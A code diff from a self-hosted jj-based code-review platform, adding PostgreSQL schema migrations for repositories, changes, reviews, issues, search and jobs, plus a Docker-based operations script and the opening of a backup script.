| 197 | + | ||
| 198 | + | CREATE TYPE repo_role AS ENUM ('read', 'write', 'maintain', 'admin'); | |
| 199 | + | ||
| 200 | + | CREATE TABLE repo_collaborators ( | |
| 201 | + | repo_id uuid NOT NULL REFERENCES repos ON DELETE CASCADE, | |
| 202 | + | user_id uuid NOT NULL REFERENCES users ON DELETE CASCADE, | |
| 203 | + | role repo_role NOT NULL, | |
| 204 | + | created_at timestamptz NOT NULL DEFAULT now(), | |
| 205 | + | PRIMARY KEY (repo_id, user_id) | |
| 206 | + | ); | |
| 207 | + | CREATE INDEX repo_collaborators_user_idx ON repo_collaborators (user_id); | |
| 208 | + | ||
| 209 | + | CREATE TABLE bookmarks ( | |
| 210 | + | repo_id uuid NOT NULL REFERENCES repos ON DELETE CASCADE, | |
| 211 | + | name text NOT NULL, | |
| 212 | + | target text NOT NULL, -- RevId | |
| 213 | + | protected boolean NOT NULL DEFAULT false, | |
| 214 | + | updated_at timestamptz NOT NULL DEFAULT now(), | |
| 215 | + | PRIMARY KEY (repo_id, name) | |
| 216 | + | ); | |
| 217 | + | ||
| 218 | + | -- ─── changes ───────────────────────────────────────────────────────────────── | |
| 219 | + | ||
| 220 | + | CREATE TYPE change_state AS ENUM ('draft', 'open', 'merged', 'abandoned'); | |
| 221 | + | ||
| 222 | + | CREATE TABLE changes ( | |
| 223 | + | id uuid PRIMARY KEY, | |
| 224 | + | repo_id uuid NOT NULL REFERENCES repos ON DELETE CASCADE, | |
| 225 | + | change_id text NOT NULL, -- jj change id, canonical letter encoding | |
| 226 | + | synthetic boolean NOT NULL DEFAULT false, | |
| 227 | + | number bigint NOT NULL, -- per-repo display number | |
| 228 | + | title text NOT NULL, | |
| 229 | + | description text NOT NULL DEFAULT '', | |
| 230 | + | -- 'draft' is set by the author in the UI and is never inferred from pushed | |
| 231 | + | -- metadata (decided). The indexer may move a change to merged/abandoned but | |
| 232 | + | -- must not overwrite draft. | |
| 233 | + | state change_state NOT NULL DEFAULT 'open', | |
| 234 | + | conflicted boolean NOT NULL DEFAULT false, | |
| 235 | + | author_user_id uuid REFERENCES users ON DELETE SET NULL, | |
| 236 | + | target_bookmark text NOT NULL, | |
| 237 | + | head_revision_id uuid, -- FK added after revisions | |
| 238 | + | merged_at timestamptz, | |
| 239 | + | created_at timestamptz NOT NULL DEFAULT now(), | |
| 240 | + | updated_at timestamptz NOT NULL DEFAULT now(), | |
| 241 | + | UNIQUE (repo_id, change_id), | |
| 242 | + | UNIQUE (repo_id, number) | |
| 243 | + | ); | |
| 244 | + | CREATE INDEX changes_list_idx ON changes (repo_id, state, updated_at DESC); | |
| 245 | + | ||
| 246 | + | -- Prefix lookup: users type a short prefix, exactly as in the CLI. | |
| 247 | + | CREATE INDEX changes_prefix_idx ON changes (repo_id, change_id text_pattern_ops); | |
| 248 | + | ||
| 249 | + | CREATE TABLE revisions ( | |
| 250 | + | id uuid PRIMARY KEY, | |
| 251 | + | change_id_fk uuid NOT NULL REFERENCES changes ON DELETE CASCADE, | |
| 252 | + | rev text NOT NULL, -- RevId | |
| 253 | + | seq int NOT NULL, -- 1-based, per change | |
| 254 | + | parents text[] NOT NULL DEFAULT '{}', | |
| 255 | + | author_name text NOT NULL, | |
| 256 | + | author_email text NOT NULL, | |
| 257 | + | authored_at timestamptz NOT NULL, | |
| 258 | + | message text NOT NULL, | |
| 259 | + | conflicted boolean NOT NULL DEFAULT false, | |
| 260 | + | conflict_data jsonb, -- sides, base, paths | |
| 261 | + | pushed_by uuid REFERENCES users ON DELETE SET NULL, | |
| 262 | + | pushed_at timestamptz NOT NULL DEFAULT now(), | |
| 263 | + | UNIQUE (change_id_fk, rev), | |
| 264 | + | UNIQUE (change_id_fk, seq) | |
| 265 | + | ); | |
| 266 | + | CREATE INDEX revisions_rev_idx ON revisions (rev); | |
| 267 | + | ||
| 268 | + | ALTER TABLE changes ADD CONSTRAINT changes_head_fk | |
| 269 | + | FOREIGN KEY (head_revision_id) REFERENCES revisions ON DELETE SET NULL; | |
| 270 | + | ||
| 271 | + | -- Stack edges: parent_change is immediately below child_change in a stack. | |
| 272 | + | -- Computed at index time; never recomputed on page render (spec §4). | |
| 273 | + | CREATE TABLE change_edges ( | |
| 274 | + | repo_id uuid NOT NULL REFERENCES repos ON DELETE CASCADE, | |
| 275 | + | parent_change uuid NOT NULL REFERENCES changes ON DELETE CASCADE, | |
| 276 | + | child_change uuid NOT NULL REFERENCES changes ON DELETE CASCADE, | |
| 277 | + | PRIMARY KEY (parent_change, child_change), | |
| 278 | + | CONSTRAINT no_self_edge CHECK (parent_change <> child_change) | |
| 279 | + | ); | |
| 280 | + | CREATE INDEX change_edges_child_idx ON change_edges (repo_id, child_change); | |
| 281 | + | ||
| 282 | + | -- ─── discussion ────────────────────────────────────────────────────────────── | |
| 283 | + | ||
| 284 | + | CREATE TYPE anchor_state AS ENUM ('current', 'outdated', 'orphaned'); | |
| 285 | + | ||
| 286 | + | CREATE TABLE comments ( | |
| 287 | + | id uuid PRIMARY KEY, | |
| 288 | + | repo_id uuid NOT NULL REFERENCES repos ON DELETE CASCADE, | |
| 289 | + | change_id_fk uuid REFERENCES changes ON DELETE CASCADE, | |
| 290 | + | issue_id uuid, -- FK below | |
| 291 | + | parent_id uuid REFERENCES comments ON DELETE CASCADE, | |
| 292 | + | author_user_id uuid NOT NULL REFERENCES users ON DELETE CASCADE, | |
| 293 | + | body text NOT NULL, | |
| 294 | + | ||
| 295 | + | -- inline anchor, null for top-level comments | |
| 296 | + | anchor_revision uuid REFERENCES revisions ON DELETE SET NULL, | |
| 297 | + | anchor_path text, | |
| 298 | + | anchor_line int, | |
| 299 | + | anchor_side text CHECK (anchor_side IN ('old','new')), | |
| 300 | + | anchor_state anchor_state NOT NULL DEFAULT 'current', | |
| 301 | + | anchor_context text, -- the line's content when written | |
| 302 | + | ||
| 303 | + | resolved_at timestamptz, | |
| 304 | + | resolved_by uuid REFERENCES users ON DELETE SET NULL, | |
| 305 | + | edited_at timestamptz, | |
| 306 | + | created_at timestamptz NOT NULL DEFAULT now(), | |
| 307 | + | CONSTRAINT one_target CHECK (num_nonnulls(change_id_fk, issue_id) = 1) | |
| 308 | + | ); | |
| 309 | + | CREATE INDEX comments_change_idx ON comments (change_id_fk, created_at); | |
| 310 | + | CREATE INDEX comments_issue_idx ON comments (issue_id, created_at); | |
| 311 | + | -- Anchor rebasing loads every inline comment on a change by its anchored file. | |
| 312 | + | CREATE INDEX comments_anchor_idx ON comments (change_id_fk, anchor_path) | |
| 313 | + | WHERE anchor_path IS NOT NULL; | |
| 314 | + | ||
| 315 | + | CREATE TYPE review_verdict AS ENUM ('approve', 'request_changes', 'comment'); | |
| 316 | + | ||
| 317 | + | CREATE TABLE reviews ( | |
| 318 | + | id uuid PRIMARY KEY, | |
| 319 | + | change_id_fk uuid NOT NULL REFERENCES changes ON DELETE CASCADE, | |
| 320 | + | revision_id uuid NOT NULL REFERENCES revisions ON DELETE CASCADE, | |
| 321 | + | reviewer_id uuid NOT NULL REFERENCES users ON DELETE CASCADE, | |
| 322 | + | verdict review_verdict NOT NULL, | |
| 323 | + | body text, | |
| 324 | + | created_at timestamptz NOT NULL DEFAULT now() | |
| 325 | + | ); | |
| 326 | + | CREATE INDEX reviews_change_idx ON reviews (change_id_fk, created_at DESC); | |
| 327 | + | ||
| 328 | + | -- ─── issues ────────────────────────────────────────────────────────────────── | |
| 329 | + | ||
| 330 | + | CREATE TYPE issue_state AS ENUM ('open', 'closed'); | |
| 331 | + | ||
| 332 | + | CREATE TABLE issues ( | |
| 333 | + | id uuid PRIMARY KEY, | |
| 334 | + | repo_id uuid NOT NULL REFERENCES repos ON DELETE CASCADE, | |
| 335 | + | number bigint NOT NULL, | |
| 336 | + | title text NOT NULL, | |
| 337 | + | body text NOT NULL DEFAULT '', | |
| 338 | + | state issue_state NOT NULL DEFAULT 'open', | |
| 339 | + | author_user_id uuid REFERENCES users ON DELETE SET NULL, | |
| 340 | + | closed_at timestamptz, | |
| 341 | + | created_at timestamptz NOT NULL DEFAULT now(), | |
| 342 | + | updated_at timestamptz NOT NULL DEFAULT now(), | |
| 343 | + | UNIQUE (repo_id, number) | |
| 344 | + | ); | |
| 345 | + | CREATE INDEX issues_list_idx ON issues (repo_id, state, updated_at DESC); | |
| 346 | + | ||
| 347 | + | ALTER TABLE comments ADD CONSTRAINT comments_issue_fk | |
| 348 | + | FOREIGN KEY (issue_id) REFERENCES issues ON DELETE CASCADE; | |
| 349 | + | ||
| 350 | + | CREATE TABLE labels ( | |
| 351 | + | id uuid PRIMARY KEY, | |
| 352 | + | repo_id uuid NOT NULL REFERENCES repos ON DELETE CASCADE, | |
| 353 | + | name text NOT NULL, | |
| 354 | + | color text NOT NULL, | |
| 355 | + | UNIQUE (repo_id, name) | |
| 356 | + | ); | |
| 357 | + | ||
| 358 | + | CREATE TABLE issue_labels ( | |
| 359 | + | issue_id uuid NOT NULL REFERENCES issues ON DELETE CASCADE, | |
| 360 | + | label_id uuid NOT NULL REFERENCES labels ON DELETE CASCADE, | |
| 361 | + | PRIMARY KEY (issue_id, label_id) | |
| 362 | + | ); | |
| 363 | + | ||
| 364 | + | CREATE TABLE issue_assignees ( | |
| 365 | + | issue_id uuid NOT NULL REFERENCES issues ON DELETE CASCADE, | |
| 366 | + | user_id uuid NOT NULL REFERENCES users ON DELETE CASCADE, | |
| 367 | + | PRIMARY KEY (issue_id, user_id) | |
| 368 | + | ); | |
| 369 | + | ||
| 370 | + | -- Per-repo issue and change numbering. A sequence per repo would be cleaner but | |
| 371 | + | -- cannot be created dynamically without DDL on every repo creation; this row is | |
| 372 | + | -- locked with SELECT … FOR UPDATE when allocating. | |
| 373 | + | CREATE TABLE repo_counters ( | |
| 374 | + | repo_id uuid PRIMARY KEY REFERENCES repos ON DELETE CASCADE, | |
| 375 | + | next_change bigint NOT NULL DEFAULT 1, | |
| 376 | + | next_issue bigint NOT NULL DEFAULT 1 | |
| 377 | + | ); | |
| 378 | + | ||
| 379 | + | -- ─── activity ──────────────────────────────────────────────────────────────── | |
| 380 | + | ||
| 381 | + | -- Timeline events. Also the substrate a future activity feed would read from — | |
| 382 | + | -- written correctly now even though nothing renders a feed in v1. | |
| 383 | + | CREATE TABLE events ( | |
| 384 | + | id uuid PRIMARY KEY, | |
| 385 | + | repo_id uuid REFERENCES repos ON DELETE CASCADE, | |
| 386 | + | actor_id uuid REFERENCES users ON DELETE SET NULL, | |
| 387 | + | kind text NOT NULL, -- pushed, rebased, conflicted, resolved, | |
| 388 | + | -- merged, abandoned, reviewed, commented, … | |
| 389 | + | subject_type text NOT NULL, -- change | issue | repo | bookmark | |
| 390 | + | subject_id uuid, | |
| 391 | + | payload jsonb NOT NULL DEFAULT '{}', | |
| 392 | + | created_at timestamptz NOT NULL DEFAULT now() | |
| 393 | + | ); | |
| 394 | + | CREATE INDEX events_repo_idx ON events (repo_id, created_at DESC); | |
| 395 | + | CREATE INDEX events_subject_idx ON events (subject_type, subject_id, created_at); | |
| 396 | + | ||
| 397 | + | CREATE TABLE audit_log ( | |
| 398 | + | id uuid PRIMARY KEY, | |
| 399 | + | actor_id uuid REFERENCES users ON DELETE SET NULL, | |
| 400 | + | action text NOT NULL, | |
| 401 | + | target text NOT NULL, | |
| 402 | + | ip inet, | |
| 403 | + | metadata jsonb NOT NULL DEFAULT '{}', | |
| 404 | + | created_at timestamptz NOT NULL DEFAULT now() | |
| 405 | + | ); | |
| 406 | + | CREATE INDEX audit_log_actor_idx ON audit_log (actor_id, created_at DESC); | |
| 407 | + | CREATE INDEX audit_log_created_idx ON audit_log (created_at DESC); | |
| 408 | + | ||
| 409 | + | -- ─── rendering cache ───────────────────────────────────────────────────────── | |
| 410 | + | ||
| 411 | + | -- Syntax highlighting is expensive and its input is content-addressed, so the | |
| 412 | + | -- blob OID is a perfect cache key (spec §8). Highlighting on every request is | |
| 413 | + | -- the easiest performance mistake to make here. | |
| 414 | + | CREATE TABLE highlight_cache ( | |
| 415 | + | blob_oid text PRIMARY KEY, | |
| 416 | + | language text, | |
| 417 | + | html text NOT NULL, | |
| 418 | + | bytes int NOT NULL, | |
| 419 | + | created_at timestamptz NOT NULL DEFAULT now() | |
| 420 | + | ); | |
| 421 | + | ||
| 422 | + | -- ─── jobs ──────────────────────────────────────────────────────────────────── | |
| 423 | + | ||
| 424 | + | CREATE TABLE jobs ( | |
| 425 | + | id uuid PRIMARY KEY, | |
| 426 | + | kind text NOT NULL, | |
| 427 | + | payload jsonb NOT NULL, | |
| 428 | + | run_at timestamptz NOT NULL DEFAULT now(), | |
| 429 | + | attempts int NOT NULL DEFAULT 0, | |
| 430 | + | max_attempts int NOT NULL DEFAULT 5, | |
| 431 | + | locked_at timestamptz, | |
| 432 | + | locked_by text, | |
| 433 | + | last_error text, | |
| 434 | + | created_at timestamptz NOT NULL DEFAULT now() | |
| 435 | + | ); | |
| 436 | + | CREATE INDEX jobs_ready_idx ON jobs (run_at) WHERE locked_at IS NULL; | |
| 437 | + | ||
| 438 | + | -- Wake the worker on insert so it does not poll on the hot path. The worker | |
| 439 | + | -- also polls every 5s as a fallback for missed notifications (spec §5). | |
| 440 | + | CREATE FUNCTION notify_job() RETURNS trigger AS $$ | |
| 441 | + | BEGIN | |
| 442 | + | PERFORM pg_notify('dogfood_jobs', NEW.kind); | |
| 443 | + | RETURN NEW; | |
| 444 | + | END; | |
| 445 | + | $$ LANGUAGE plpgsql; | |
| 446 | + | ||
| 447 | + | CREATE TRIGGER jobs_notify AFTER INSERT ON jobs | |
| 448 | + | FOR EACH ROW EXECUTE FUNCTION notify_job(); | |
Amigrations/0002_settings.sql+18−0
| @@ −0,0 +1,18 @@ | |||
| 1 | + | -- M2: repository settings and collaborator management. | |
| 2 | + | ||
| 3 | + | -- Who granted a collaborator role. The audit log records the action, but the | |
| 4 | + | -- current state should also say who is responsible for it — an audit trail that | |
| 5 | + | -- has been trimmed by retention must not lose the answer to "why does this | |
| 6 | + | -- person have write access". | |
| 7 | + | ALTER TABLE repo_collaborators | |
| 8 | + | ADD COLUMN added_by uuid REFERENCES users ON DELETE SET NULL; | |
| 9 | + | ||
| 10 | + | -- The default bookmark is protected implicitly (the UI shows it as "always"), | |
| 11 | + | -- but the hook enforces protection from the `bookmarks` table alone, so the row | |
| 12 | + | -- has to agree. Backfilled here and maintained by the indexer thereafter. | |
| 13 | + | UPDATE bookmarks b | |
| 14 | + | SET protected = true | |
| 15 | + | FROM repos r | |
| 16 | + | WHERE r.id = b.repo_id | |
| 17 | + | AND b.name = r.default_bookmark | |
| 18 | + | AND b.protected = false; | |
Amigrations/0003_search.sql+68−0
| @@ −0,0 +1,68 @@ | |||
| 1 | + | -- M5: global search over repositories, changes and issues. | |
| 2 | + | -- | |
| 3 | + | -- Spec §5 in-scope list ends at "Global search over repos, changes, and issues | |
| 4 | + | -- (not code)", so this indexes titles, descriptions and bodies — never blobs. | |
| 5 | + | -- | |
| 6 | + | -- Generated columns rather than triggers: the tsvector cannot drift from the | |
| 7 | + | -- row, and there is no ordering hazard between an update and its index. | |
| 8 | + | ||
| 9 | + | -- ─── repositories ──────────────────────────────────────────────────────────── | |
| 10 | + | ||
| 11 | + | ALTER TABLE repos ADD COLUMN search tsvector | |
| 12 | + | GENERATED ALWAYS AS ( | |
| 13 | + | setweight(to_tsvector('english', coalesce(name::text, '')), 'A') || | |
| 14 | + | setweight(to_tsvector('english', coalesce(description, '')), 'B') | |
| 15 | + | ) STORED; | |
| 16 | + | ||
| 17 | + | CREATE INDEX repos_search_idx ON repos USING gin (search); | |
| 18 | + | ||
| 19 | + | -- ─── changes ───────────────────────────────────────────────────────────────── | |
| 20 | + | ||
| 21 | + | ALTER TABLE changes ADD COLUMN search tsvector | |
| 22 | + | GENERATED ALWAYS AS ( | |
| 23 | + | setweight(to_tsvector('english', coalesce(title, '')), 'A') || | |
| 24 | + | setweight(to_tsvector('english', coalesce(description, '')), 'B') | |
| 25 | + | ) STORED; | |
| 26 | + | ||
| 27 | + | CREATE INDEX changes_search_idx ON changes USING gin (search); | |
| 28 | + | ||
| 29 | + | -- ─── issues ────────────────────────────────────────────────────────────────── | |
| 30 | + | ||
| 31 | + | ALTER TABLE issues ADD COLUMN search tsvector | |
| 32 | + | GENERATED ALWAYS AS ( | |
| 33 | + | setweight(to_tsvector('english', coalesce(title, '')), 'A') || | |
| 34 | + | setweight(to_tsvector('english', coalesce(body, '')), 'B') | |
| 35 | + | ) STORED; | |
| 36 | + | ||
| 37 | + | CREATE INDEX issues_search_idx ON issues USING gin (search); | |
| 38 | + | ||
| 39 | + | -- Cross-references between issues and changes, extracted from bodies and | |
| 40 | + | -- comments when they are written. Stored rather than re-scanned so a change's | |
| 41 | + | -- page can list the issues that mention it without a full-text query per view. | |
| 42 | + | CREATE TABLE cross_references ( | |
| 43 | + | id uuid PRIMARY KEY, | |
| 44 | + | repo_id uuid NOT NULL REFERENCES repos ON DELETE CASCADE, | |
| 45 | + | -- What contains the reference. | |
| 46 | + | source_type text NOT NULL CHECK (source_type IN ('change', 'issue', 'comment')), | |
| 47 | + | source_id uuid NOT NULL, | |
| 48 | + | -- What it points at. | |
| 49 | + | target_type text NOT NULL CHECK (target_type IN ('change', 'issue')), | |
| 50 | + | target_id uuid NOT NULL, | |
| 51 | + | created_at timestamptz NOT NULL DEFAULT now(), | |
| 52 | + | UNIQUE (source_type, source_id, target_type, target_id) | |
| 53 | + | ); | |
| 54 | + | CREATE INDEX cross_references_target_idx ON cross_references (target_type, target_id); | |
| 55 | + | ||
| 56 | + | -- Labels need a default set per repository or the issue form has nothing to | |
| 57 | + | -- offer. Seeded for repositories that already exist; new ones are seeded in | |
| 58 | + | -- application code at creation. | |
| 59 | + | INSERT INTO labels (id, repo_id, name, color) | |
| 60 | + | SELECT gen_random_uuid(), r.id, l.name, l.color | |
| 61 | + | FROM repos r | |
| 62 | + | CROSS JOIN (VALUES | |
| 63 | + | ('bug', '#d06b6b'), | |
| 64 | + | ('enhancement', '#6ba9b8'), | |
| 65 | + | ('question', '#d9a441'), | |
| 66 | + | ('documentation', '#8b7fd4') | |
| 67 | + | ) AS l(name, color) | |
| 68 | + | ON CONFLICT (repo_id, name) DO NOTHING; | |
Amigrations/0004_session_id_token.sql+5−0
| @@ −0,0 +1,5 @@ | |||
| 1 | + | -- The raw OIDC ID token issued at login, kept only so sign-out can pass | |
| 2 | + | -- `id_token_hint` to the provider's RP-Initiated Logout endpoint. Hydra | |
| 3 | + | -- rejects `post_logout_redirect_uri` without it, which otherwise sends the | |
| 4 | + | -- user to an error page while their local session is already gone. | |
| 5 | + | ALTER TABLE sessions ADD COLUMN id_token text; | |
Arun.sh+221−0
| @@ −0,0 +1,221 @@ | |||
| 1 | + | #!/usr/bin/env bash | |
| 2 | + | # | |
| 3 | + | # Dogfood — build, deploy, and inspect the running stack. | |
| 4 | + | # | |
| 5 | + | # ./run.sh rebuild the image and restart the containers | |
| 6 | + | # ./run.sh build build the image only | |
| 7 | + | # ./run.sh restart restart without rebuilding | |
| 8 | + | # ./run.sh up start (build if the image is missing) | |
| 9 | + | # ./run.sh down stop and remove the containers | |
| 10 | + | # ./run.sh logs [-f] show logs | |
| 11 | + | # ./run.sh status containers, health, and the public endpoint | |
| 12 | + | # ./run.sh test run the full Rust test suite in Docker | |
| 13 | + | # ./run.sh check cargo check | |
| 14 | + | # ./run.sh fixtures regenerate the jj/git fixture corpus | |
| 15 | + | # ./run.sh psql open a psql shell on the configured database | |
| 16 | + | # ./run.sh token show the outstanding admin setup token status | |
| 17 | + | # ./run.sh shell a shell in the web container | |
| 18 | + | # ./run.sh metrics scrape /metrics from inside the container | |
| 19 | + | # ./run.sh reindex [id] re-run indexing (all repositories, or one) | |
| 20 | + | # ./run.sh backup [dir] pg_dump + a snapshot of the repository volume | |
| 21 | + | # ./run.sh rehearse prove a backup restores (spec §10) | |
| 22 | + | # ./run.sh loadtest drive a large repository over HTTP (spec §11) | |
| 23 | + | # | |
| 24 | + | # The deploy path is `docker compose`, so this script is a convenience wrapper | |
| 25 | + | # and never the only way to operate the stack. | |
| 26 | + | ||
| 27 | + | set -euo pipefail | |
| 28 | + | ||
| 29 | + | ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" | |
| 30 | + | COMPOSE=(docker compose -f "$ROOT/docker/compose.yaml") | |
| 31 | + | SERVICE=web | |
| 32 | + | CONTAINER=dogfood-web | |
| 33 | + | # Every service built and restarted by the default `deploy` path. | |
| 34 | + | SERVICES=(web worker ssh) | |
| 35 | + | ||
| 36 | + | # Pinned so a toolchain bump is a deliberate edit. 1.83 and older fail to parse | |
| 37 | + | # a transitive `time-core` manifest. | |
| 38 | + | RUST_IMAGE="rust:slim" | |
| 39 | + | ||
| 40 | + | CARGO_ARGS=( | |
| 41 | + | --rm | |
| 42 | + | -v "$ROOT":/w -w /w | |
| 43 | + | -v dogfood-cargo-registry:/usr/local/cargo/registry | |
| 44 | + | -v dogfood-target:/w/target | |
| 45 | + | ) | |
| 46 | + | ||
| 47 | + | c_red() { printf '\033[31m%s\033[0m\n' "$*"; } | |
| 48 | + | c_green() { printf '\033[32m%s\033[0m\n' "$*"; } | |
| 49 | + | c_dim() { printf '\033[2m%s\033[0m\n' "$*"; } | |
| 50 | + | ||
| 51 | + | require_env() { | |
| 52 | + | if [[ ! -f "$ROOT/.env" ]]; then | |
| 53 | + | c_red "No .env at $ROOT/.env — the containers cannot start without it." | |
| 54 | + | echo "Copy .env.example and fill in DATABASE_URL and the OIDC_* values." | |
| 55 | + | exit 1 | |
| 56 | + | fi | |
| 57 | + | } | |
| 58 | + | ||
| 59 | + | # Read a value out of .env without sourcing it, so quoting and stray shell | |
| 60 | + | # metacharacters in secrets cannot execute. | |
| 61 | + | env_get() { | |
| 62 | + | sed -n "s/^$1=//p" "$ROOT/.env" | head -1 | |
| 63 | + | } | |
| 64 | + | ||
| 65 | + | cmd_build() { | |
| 66 | + | require_env | |
| 67 | + | c_dim "building $SERVICE…" | |
| 68 | + | "${COMPOSE[@]}" build "${SERVICES[@]}" | |
| 69 | + | c_green "built" | |
| 70 | + | } | |
| 71 | + | ||
| 72 | + | cmd_up() { | |
| 73 | + | require_env | |
| 74 | + | "${COMPOSE[@]}" up -d | |
| 75 | + | wait_healthy | |
| 76 | + | } | |
| 77 | + | ||
| 78 | + | cmd_down() { | |
| 79 | + | "${COMPOSE[@]}" down | |
| 80 | + | } | |
| 81 | + | ||
| 82 | + | cmd_restart() { | |
| 83 | + | require_env | |
| 84 | + | # --force-recreate so a changed .env is actually picked up; compose does not | |
| 85 | + | # recreate a container just because its env_file changed on disk. | |
| 86 | + | "${COMPOSE[@]}" up -d --force-recreate | |
| 87 | + | wait_healthy | |
| 88 | + | } | |
| 89 | + | ||
| 90 | + | cmd_deploy() { | |
| 91 | + | cmd_build | |
| 92 | + | cmd_restart | |
| 93 | + | } | |
| 94 | + | ||
| 95 | + | # Poll until the app answers, so the script fails loudly rather than returning | |
| 96 | + | # success on a container that crash-looped. | |
| 97 | + | wait_healthy() { | |
| 98 | + | c_dim "waiting for $CONTAINER to serve…" | |
| 99 | + | for _ in $(seq 1 40); do | |
| 100 | + | if docker exec "$CONTAINER" wget -qO- http://127.0.0.1:8080/healthz >/dev/null 2>&1; then | |
| 101 | + | c_green "healthy" | |
| 102 | + | cmd_status | |
| 103 | + | return 0 | |
| 104 | + | fi | |
| 105 | + | if ! docker ps --format '{{.Names}}' | grep -qx "$CONTAINER"; then | |
| 106 | + | c_red "container exited — last 30 log lines:" | |
| 107 | + | docker logs --tail 30 "$CONTAINER" 2>&1 || true | |
| 108 | + | return 1 | |
| 109 | + | fi | |
| 110 | + | sleep 1 | |
| 111 | + | done | |
| 112 | + | c_red "timed out waiting for health — last 30 log lines:" | |
| 113 | + | docker logs --tail 30 "$CONTAINER" 2>&1 || true | |
| 114 | + | return 1 | |
| 115 | + | } | |
| 116 | + | ||
| 117 | + | cmd_logs() { | |
| 118 | + | "${COMPOSE[@]}" logs "${@:-}" "${SERVICES[@]}" | |
| 119 | + | } | |
| 120 | + | ||
| 121 | + | cmd_status() { | |
| 122 | + | echo | |
| 123 | + | "${COMPOSE[@]}" ps | |
| 124 | + | local base | |
| 125 | + | base="$(env_get BASE_URL)" | |
| 126 | + | base="${base:-https://dogfood.sh}" | |
| 127 | + | echo | |
| 128 | + | printf '%-28s ' "$base/healthz" | |
| 129 | + | curl -s -o /dev/null -w '%{http_code}\n' "$base/healthz" --max-time 15 || echo "unreachable" | |
| 130 | + | printf '%-28s ' "$base/readyz" | |
| 131 | + | curl -s -o /dev/null -w '%{http_code}\n' "$base/readyz" --max-time 15 || echo "unreachable" | |
| 132 | + | } | |
| 133 | + | ||
| 134 | + | cmd_test() { | |
| 135 | + | # Fixtures are required so the corpus tests cannot silently skip. | |
| 136 | + | [[ -d "$ROOT/fixtures/repos" ]] || cmd_fixtures | |
| 137 | + | docker run "${CARGO_ARGS[@]}" -e DF_REQUIRE_FIXTURES=1 "$RUST_IMAGE" bash -c ' | |
| 138 | + | apt-get update -qq >/dev/null 2>&1 | |
| 139 | + | apt-get install -y -qq git >/dev/null 2>&1 | |
| 140 | + | cargo test --workspace' | |
| 141 | + | } | |
| 142 | + | ||
| 143 | + | cmd_check() { | |
| 144 | + | docker run "${CARGO_ARGS[@]}" "$RUST_IMAGE" cargo check --workspace --all-targets | |
| 145 | + | } | |
| 146 | + | ||
| 147 | + | cmd_fixtures() { | |
| 148 | + | "$ROOT/fixtures/gen.sh" | |
| 149 | + | } | |
| 150 | + | ||
| 151 | + | cmd_psql() { | |
| 152 | + | require_env | |
| 153 | + | local url | |
| 154 | + | url="$(env_get DATABASE_URL)" | |
| 155 | + | [[ -n "$url" ]] || { c_red "DATABASE_URL not set in .env"; exit 1; } | |
| 156 | + | # Only request a TTY when we actually have one, so `./run.sh psql -tAc '…'` | |
| 157 | + | # works from a script or a pipeline. | |
| 158 | + | local tty=() | |
| 159 | + | [[ -t 0 && -t 1 ]] && tty=(-it) | |
| 160 | + | docker run --rm "${tty[@]}" postgres:17-alpine psql "$url" "$@" | |
| 161 | + | } | |
| 162 | + | ||
| 163 | + | cmd_token() { | |
| 164 | + | require_env | |
| 165 | + | local url | |
| 166 | + | url="$(env_get DATABASE_URL)" | |
| 167 | + | echo "Outstanding setup tokens (plaintext is only ever printed to the log at first boot):" | |
| 168 | + | docker run --rm postgres:17-alpine psql "$url" -c \ | |
| 169 | + | "SELECT id, created_at, consumed_at, consumed_by FROM setup_tokens ORDER BY created_at DESC;" | |
| 170 | + | echo "If none is outstanding and you still need admin, promote a user directly:" | |
| 171 | + | c_dim " ./run.sh psql -c \"UPDATE users SET is_admin = true WHERE handle = 'your-handle';\"" | |
| 172 | + | } | |
| 173 | + | ||
| 174 | + | cmd_shell() { | |
| 175 | + | docker exec -it "$CONTAINER" bash | |
| 176 | + | } | |
| 177 | + | ||
| 178 | + | # /metrics is loopback-only by design (spec §7), so it is scraped from inside | |
| 179 | + | # the container rather than over the network. | |
| 180 | + | cmd_metrics() { | |
| 181 | + | docker exec "$CONTAINER" wget -qO- http://127.0.0.1:8080/metrics | |
| 182 | + | } | |
| 183 | + | ||
| 184 | + | # The reconciling reindex (spec §4, §10). Runs in the worker, which is where the | |
| 185 | + | # repository volume is mounted. | |
| 186 | + | cmd_reindex() { | |
| 187 | + | if [[ -n "${1:-}" ]]; then | |
| 188 | + | "${COMPOSE[@]}" exec -T worker dogfood-admin reindex --repo "$1" | |
| 189 | + | else | |
| 190 | + | "${COMPOSE[@]}" exec -T worker dogfood-admin reindex --all | |
| 191 | + | fi | |
| 192 | + | } | |
| 193 | + | ||
| 194 | + | case "${1:-deploy}" in | |
| 195 | + | ""|deploy) cmd_deploy ;; | |
| 196 | + | build) cmd_build ;; | |
| 197 | + | up) cmd_up ;; | |
| 198 | + | down) cmd_down ;; | |
| 199 | + | restart) cmd_restart ;; | |
| 200 | + | logs) shift; cmd_logs "$@" ;; | |
| 201 | + | status) cmd_status ;; | |
| 202 | + | test) cmd_test ;; | |
| 203 | + | check) cmd_check ;; | |
| 204 | + | fixtures) cmd_fixtures ;; | |
| 205 | + | psql) shift; cmd_psql "$@" ;; | |
| 206 | + | token) cmd_token ;; | |
| 207 | + | shell) cmd_shell ;; | |
| 208 | + | metrics) cmd_metrics ;; | |
| 209 | + | reindex) shift; cmd_reindex "${1:-}" ;; | |
| 210 | + | backup) shift; "$ROOT/scripts/backup.sh" backup "$@" ;; | |
| 211 | + | rehearse) shift; "$ROOT/scripts/backup.sh" rehearse "$@" ;; | |
| 212 | + | loadtest) shift; "$ROOT/scripts/loadtest.sh" "$@" ;; | |
| 213 | + | -h|--help|help) | |
| 214 | + | sed -n '2,36p' "${BASH_SOURCE[0]}" | sed 's/^# \{0,1\}//' | |
| 215 | + | ;; | |
| 216 | + | *) | |
| 217 | + | c_red "unknown command: $1" | |
| 218 | + | sed -n '2,36p' "${BASH_SOURCE[0]}" | sed 's/^# \{0,1\}//' | |
| 219 | + | exit 1 | |
| 220 | + | ;; | |
| 221 | + | esac | |
Ascripts/backup.sh+298−0
| @@ −0,0 +1,298 @@ | |||
| 1 | + | #!/usr/bin/env bash | |
| 2 | + | # | |
| 3 | + | # Dogfood — backup, restore, and the restore *rehearsal* (spec §10, M6). | |
| 4 | + | # | |
| 5 | + | # ./scripts/backup.sh backup [DIR] pg_dump + a snapshot of the repo volume | |
| 6 | + | # ./scripts/backup.sh restore DIR restore both into the live stack | |
| 7 | + | # ./scripts/backup.sh rehearse [DIR] restore into a throwaway database and | |
| 8 | + | # prove the result is usable | |
| 9 | + | # | |
| 10 | + | # Spec §10: | |
| 11 | + | # | |
